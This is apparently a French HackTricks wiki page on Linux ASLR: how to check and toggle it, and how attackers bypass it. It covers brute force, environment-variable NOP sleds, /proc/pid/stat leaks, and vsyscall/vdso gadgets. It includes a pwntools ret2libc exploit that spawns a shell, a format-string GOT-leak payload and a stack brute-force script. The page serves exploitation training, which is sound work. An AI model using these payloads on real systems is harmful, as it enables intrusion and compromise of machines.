ASLR
Reading time: 11 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.
Informations de base
Address Space Layout Randomization (ASLR) est une technique de sécurité utilisée dans les systèmes d'exploitation pour randomiser les adresses mémoire utilisées par les processus système et d'application. Ce faisant, cela rend beaucoup plus difficile pour un attaquant de prédire l'emplacement de processus et de données spécifiques, tels que la pile, le tas et les bibliothèques, atténuant ainsi certains types d'exploits, en particulier les débordements de tampon.
Vérification de l'état d'ASLR
Pour vérifier l'état d'ASLR sur un système Linux, vous pouvez lire la valeur dans le fichier /proc/sys/kernel/randomize_va_space
. La valeur stockée dans ce fichier détermine le type d'ASLR appliqué :
- 0 : Pas de randomisation. Tout est statique.
- 1 : Randomisation conservatrice. Les bibliothèques partagées, la pile, mmap(), la page VDSO sont randomisées.
- 2 : Randomisation complète. En plus des éléments randomisés par la randomisation conservatrice, la mémoire gérée par
brk()
est randomisée.
Vous pouvez vérifier l'état d'ASLR avec la commande suivante :
cat /proc/sys/kernel/randomize_va_space
Désactiver ASLR
Pour désactiver ASLR, vous devez définir la valeur de /proc/sys/kernel/randomize_va_space
à 0. Désactiver ASLR n'est généralement pas recommandé en dehors des scénarios de test ou de débogage. Voici comment vous pouvez le désactiver :
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Vous pouvez également désactiver ASLR pour une exécution avec :
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args
Activation de l'ASLR
Pour activer l'ASLR, vous pouvez écrire une valeur de 2 dans le fichier /proc/sys/kernel/randomize_va_space
. Cela nécessite généralement des privilèges root. L'activation de la randomisation complète peut être effectuée avec la commande suivante :
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
Persistance à travers les redémarrages
Les modifications apportées avec les commandes echo
sont temporaires et seront réinitialisées lors du redémarrage. Pour rendre la modification persistante, vous devez éditer le fichier /etc/sysctl.conf
et ajouter ou modifier la ligne suivante :
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR
Après avoir modifié /etc/sysctl.conf
, appliquez les changements avec :
sudo sysctl -p
Cela garantira que vos paramètres ASLR restent après les redémarrages.
Bypasses
Force brute 32 bits
PaX divise l'espace d'adresses du processus en 3 groupes :
- Code et données (initialisées et non initialisées) :
.text
,.data
, et.bss
—> 16 bits d'entropie dans la variabledelta_exec
. Cette variable est initialisée aléatoirement avec chaque processus et ajoutée aux adresses initiales. - Mémoire allouée par
mmap()
et bibliothèques partagées —> 16 bits, nomméedelta_mmap
. - La pile —> 24 bits, appelée
delta_stack
. Cependant, elle utilise effectivement 11 bits (du 10ème au 20ème octet inclus), alignés sur 16 octets —> Cela donne 524,288 adresses de pile réelles possibles.
Les données précédentes concernent les systèmes 32 bits et l'entropie finale réduite permet de contourner l'ASLR en réessayant l'exécution encore et encore jusqu'à ce que l'exploit réussisse.
Idées de force brute :
- Si vous avez un débordement suffisamment grand pour accueillir un grand NOP sled avant le shellcode, vous pourriez simplement forcer les adresses dans la pile jusqu'à ce que le flux saute par-dessus une partie du NOP sled.
- Une autre option dans ce cas où le débordement n'est pas si grand et que l'exploit peut être exécuté localement est de ajouter le NOP sled et le shellcode dans une variable d'environnement.
- Si l'exploit est local, vous pouvez essayer de forcer l'adresse de base de libc (utile pour les systèmes 32 bits) :
for off in range(0xb7000000, 0xb8000000, 0x1000):
- Si vous attaquez un serveur distant, vous pourriez essayer de forcer l'adresse de la fonction
usleep
delibc
, en passant comme argument 10 (par exemple). Si à un moment donné le serveur met 10s de plus à répondre, vous avez trouvé l'adresse de cette fonction.
tip
Dans les systèmes 64 bits, l'entropie est beaucoup plus élevée et cela ne devrait pas être possible.
Bruteforce de la pile 64 bits
Il est possible d'occuper une grande partie de la pile avec des variables d'environnement et ensuite essayer d'abuser du binaire des centaines/milliers de fois localement pour l'exploiter.
Le code suivant montre comment il est possible de simplement sélectionner une adresse dans la pile et chaque quelques centaines d'exécutions, cette adresse contiendra l'instruction NOP :
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>
int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
import subprocess
import traceback
# Start the process
nop = b"\xD5\x1F\x20\x03" # ARM64 NOP transposed
n_nops = int(128000/4)
shellcode_env_var = nop * n_nops
# Define the environment variables you want to set
env_vars = {
'a': shellcode_env_var,
'b': shellcode_env_var,
'c': shellcode_env_var,
'd': shellcode_env_var,
'e': shellcode_env_var,
'f': shellcode_env_var,
'g': shellcode_env_var,
'h': shellcode_env_var,
'i': shellcode_env_var,
'j': shellcode_env_var,
'k': shellcode_env_var,
'l': shellcode_env_var,
'm': shellcode_env_var,
'n': shellcode_env_var,
'o': shellcode_env_var,
'p': shellcode_env_var,
}
cont = 0
while True:
cont += 1
if cont % 10000 == 0:
break
print(cont, end="\r")
# Define the path to your binary
binary_path = './aslr-testing'
try:
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
output = process.communicate()[0]
if "0xd5" in str(output):
print(str(cont) + " -> " + output)
except Exception as e:
print(e)
print(traceback.format_exc())
pass
.png)
Informations locales (/proc/[pid]/stat
)
Le fichier /proc/[pid]/stat
d'un processus est toujours lisible par tout le monde et il contient des informations intéressantes telles que :
- startcode & endcode : Adresses au-dessus et en dessous du TEXT du binaire
- startstack : L'adresse du début de la pile
- start_data & end_data : Adresses au-dessus et en dessous où se trouve le BSS
- kstkesp & kstkeip : Adresses actuelles de ESP et EIP
- arg_start & arg_end : Adresses au-dessus et en dessous où se trouvent les arguments cli.
- env_start & env_end : Adresses au-dessus et en dessous où se trouvent les variables d'environnement.
Par conséquent, si l'attaquant est sur le même ordinateur que le binaire exploité et que ce binaire ne s'attend pas à un débordement provenant d'arguments bruts, mais d'une entrée différente qui peut être façonnée après avoir lu ce fichier. Il est possible pour un attaquant de récupérer certaines adresses de ce fichier et de construire des décalages à partir de celles-ci pour l'exploitation.
tip
Pour plus d'informations sur ce fichier, consultez https://man7.org/linux/man-pages/man5/proc.5.html en recherchant /proc/pid/stat
Avoir une fuite
- Le défi consiste à donner une fuite
Si vous recevez une fuite (défis CTF faciles), vous pouvez calculer des décalages à partir de celle-ci (en supposant par exemple que vous connaissez la version exacte de libc utilisée dans le système que vous exploitez). Cet exemple d'exploitation est extrait de l'exemple d'ici (consultez cette page pour plus de détails) :
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)
libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
0x0, # return address
next(libc.search(b'/bin/sh'))
)
p.sendline(payload)
p.interactive()
- ret2plt
En abusant d'un débordement de tampon, il serait possible d'exploiter un ret2plt pour exfiltrer une adresse d'une fonction de la libc. Vérifiez :
- Format Strings Arbitrary Read
Tout comme dans ret2plt, si vous avez une lecture arbitraire via une vulnérabilité de chaînes de format, il est possible d'exfiltrer l'adresse d'une fonction libc à partir du GOT. L'exemple suivant est tiré d'ici :
payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|'
payload += b'%3$s' # The third parameter points at the start of the buffer
# this part is only relevant if you need to call the main function again
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])
Vous pouvez trouver plus d'infos sur la lecture arbitraire des chaînes de format dans :
Ret2ret & Ret2pop
Essayez de contourner ASLR en abusant des adresses à l'intérieur de la pile :
vsyscall
Le mécanisme vsyscall
sert à améliorer les performances en permettant à certains appels système d'être exécutés dans l'espace utilisateur, bien qu'ils fassent fondamentalement partie du noyau. L'avantage critique des vsyscalls réside dans leurs adresses fixes, qui ne sont pas soumises à ASLR (Randomisation de la disposition de l'espace d'adresses). Cette nature fixe signifie que les attaquants n'ont pas besoin d'une vulnérabilité de fuite d'information pour déterminer leurs adresses et les utiliser dans un exploit.
Cependant, aucun gadget super intéressant ne sera trouvé ici (bien qu'il soit par exemple possible d'obtenir un équivalent de ret;
)
(L'exemple et le code suivants proviennent de ce rapport)
Par exemple, un attaquant pourrait utiliser l'adresse 0xffffffffff600800
dans un exploit. Bien que tenter de sauter directement à une instruction ret
puisse entraîner une instabilité ou des plantages après l'exécution de quelques gadgets, sauter au début d'un syscall
fourni par la section vsyscall peut s'avérer réussi. En plaçant soigneusement un gadget ROP qui dirige l'exécution vers cette adresse vsyscall, un attaquant peut obtenir l'exécution de code sans avoir besoin de contourner ASLR pour cette partie de l'exploit.
ef➤ vmmap
Start End Offset Perm Path
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap]
0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤ x.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤ x/8g 0xffffffffff600000
0xffffffffff600000: 0xf00000060c0c748 0xccccccccccccc305
0xffffffffff600010: 0xcccccccccccccccc 0xcccccccccccccccc
0xffffffffff600020: 0xcccccccccccccccc 0xcccccccccccccccc
0xffffffffff600030: 0xcccccccccccccccc 0xcccccccccccccccc
gef➤ x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
gef➤ x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
vDSO
Notez donc comment il pourrait être possible de contourner ASLR en abusant du vdso si le noyau est compilé avec CONFIG_COMPAT_VDSO car l'adresse vdso ne sera pas randomisée. Pour plus d'infos, consultez :
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.